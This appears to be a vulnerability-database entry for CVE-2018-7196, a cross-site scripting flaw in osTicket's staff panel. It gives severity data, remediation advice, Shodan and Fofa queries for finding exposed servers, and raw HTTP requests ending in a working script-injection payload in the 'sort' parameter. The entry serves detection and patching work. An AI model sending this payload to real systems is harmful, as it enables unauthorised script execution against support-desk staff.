| Title | osTicket < 1.10.2 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. |
| Remediation | Upgrade osTicket to later version to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00533 |
| CVE ID | CVE-2018-7196 |
| CWE ID | CWE-79 |
| Shodan Query | title:"osTicket" |
| Fofa Query | title="osticket" |
| Tags | cve cve2018 osticket xss authenticated vuln |
Cross-site scripting (XSS) vulnerability in /scp/index.php in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the “sort” parameter.
GET /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept-Encoding: gzip
POST /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
__CSRFToken__=LMEf7Z&do=scplogin&userid=6TS1dL&passwd=FMmyLM&ajax=1
GET /scp/index.php?sort="><script>alert(document.domain);</script>&dir=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7196.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-7196.pcap
N/AN/A